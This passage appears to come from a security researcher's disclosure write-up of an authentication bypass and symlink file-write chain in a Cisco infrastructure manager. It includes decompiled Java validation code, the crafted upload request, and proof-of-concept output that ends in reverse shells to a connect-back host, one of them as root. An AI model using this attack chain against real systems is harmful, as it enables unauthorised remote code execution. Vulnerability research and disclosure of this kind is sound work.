/* 152 */ logger.error("filePath invalid directory traverse: " + filePath);
/* 153 */ sendResponseError(response, "Requires a valid filePath!");
/* */
/* */ return;
/* */ }
/* */
/* 158 */ String errMesg = "Failed to load property due to ";
/* 159 */ String propertyFile = "/opt/infra/inframgr/service.properties";
/* */ try {
/* 161 */ Properties properties = loadServiceProperties("/opt/infra/inframgr/service.properties");
/* 162 */ String unSupportedExt = (String)properties.get("UNSUPPORTED_FILE_EXTENSION");
/* 163 */ if (unSupportedExt != null) {
/* */
/* 165 */ String[] fileExtnSplit = unSupportedExt.split(",");
/* 166 */ for (String fileExtension : fileExtnSplit) {
/* */
/* 168 */ if (filePath.matches(".*(" + fileExtension + ")")) {
/* */
/* 170 */ logger.error("the filePath " + filePath + " matches with file extension " + fileExtension);
/* 171 */ sendResponseError(response, "Requires a valid file extension to upload!");
/* */
/* */ return;
/* */ }
/* */ }
/* 176 */ logger.info("No unsupported extension found");
/* */
/* */ }
/* */ else { // 4
/* */
/* 181 */ logger.error("Property UNSUPPORTED_FILE_EXTENSION missing in/opt/infra/inframgr/service.properties");
/* 182 */ sendResponseError(response, "Missing property UNSUPPORTED_FILE_EXTENSION in /opt/infra/inframgr/service.properties!");
/* */
/* */
/* */ return;
/* */ }
/* 187 */ } catch (IOException ioExcep) {
/* */
/* 189 */ logger.error(errMesg + ioExcep.getMessage());
/* 190 */ sendResponseError(response, "Failed to load property!");
/* */
/* */
/* */ return;
/* */ }
At [1] the code gets the filePath
which is attacker controlled and at [2] the code checks that our string starts with “/opt/infra/uploads/”. Great! We pass the first validation check!
Then the code checks “../” is not in our filePath
at [3]. We can bypass that check too because we are pointing it to the symlink. Finally the the code checks that the file extension is not in this list at [4]:
[root@localhost ~]# cat /opt/infra/inframgr/service.properties | grep UNSUPPORTED_FILE_EXTENSION
UNSUPPORTED_FILE_EXTENSION = html,htm,js,jsp
You guessed it, we can also bypass that check too because our symlink has no extension! Suppose our symlink is called si
, then attack string we use for the upload is:
POST /app/ui/FileUploadServlet?filePath=external/public/1571743726801/si HTTP/1.1
Chaining everything together, we get our cake and can eat it too.
saturn:~ mr_me$ ./poc.py
(+) usage: ./poc.py <target> <connectback:port>
(+) eg: ./poc.py 192.168.100.144 192.168.100.59
(+) eg: ./poc.py 192.168.100.144 192.168.100.59:1337
saturn:~ mr_me$ ./poc.py 192.168.100.144 192.168.100.59
(+) using default connectback port 4444
(+) created the exports directory!
(+) found an admins rest api key: 0A7DB7EC61204627BB833CE07AEA0F4C
(+) you are now admin with: JSESSIONID=ECAEF2D2CF7C4915E8FFA7FEB33995DB4D34445FDE1E24D2C58240FF66393631
(+) created the /opt/infra/uploads/multipart/a2htampra2Mub3Zh/khmjjkkc.ova file
(+) created objsession for the untar: OBJSESS1571747699398:189
(+) wrote target symlink!
(+) leaking symlink location, give me a few seconds...
(+) leaked symlink path: /opt/infra/uploads/external/public/1571747700876/
(+) triggered symlink write!
(+) bypassed the ../ and .jsp checks!
(+) starting handler on port 4444
(+) connection from 192.168.100.144
(+) pop thy shell!
id
uid=503(tomcatu) gid=503(tomcatg) groups=503(tomcatg) context=system_u:system_r:initrc_t:s0
uname -a
Linux localhost 2.6.32-754.6.3.el6.x86_64 #1 SMP Tue Oct 9 17:27:49 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
pwd
/opt/infra/web_cloudmgr/apache-tomcat/bin
Wait, didn’t you say root access mr_me?
Yeah my bad. After grinding out 8 different post auth code exec bugs, I found out that a different web service (reachable from our authentication bypass) has a by design feature which is a built-in cloupia script interpreter allowing an authenticated attacker to execute arbitrary code as root. At that point, I didn’t bother auditing any further and as it turns out, that’s a forever day since Cisco declined to patch it:
saturn:~ mr_me$ ./poc.py
(+) usage: ./poc.py <target> <connectback:port>
(+) eg: ./poc.py 192.168.100.144 192.168.100.59
(+) eg: ./poc.py 192.168.100.144 192.168.100.59:1337
saturn:~ mr_me$ ./poc.py 192.168.100.144 192.168.100.59:1337
(+) created the exports directory!
(+) found an admins rest api key: 0A7DB7EC61204627BB833CE07AEA0F4C
(+) starting handler on port 1337
(+) triggering reverse shell wait a sec...
(+) connection from 192.168.100.144
(+) pop thy shell!
bash: no job control in this shell
[root@localhost inframgr]# id
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=system_u:system_r:initrc_t:s0
[root@localhost inframgr]#
You can find the exploit code here and here. Excuse the py2 code eh?
Conclusion
The ability to untar an untrusted file can break several assumptions made by developers and it’s up to creative attackers to fully expose the impact of such a situation. Additionally, I still believe that applications should not allow by design remote code execution features but of course, if it’s protected by authentication then you really want to make sure you don’t have an authentication bypass vulnerability lurking in the code.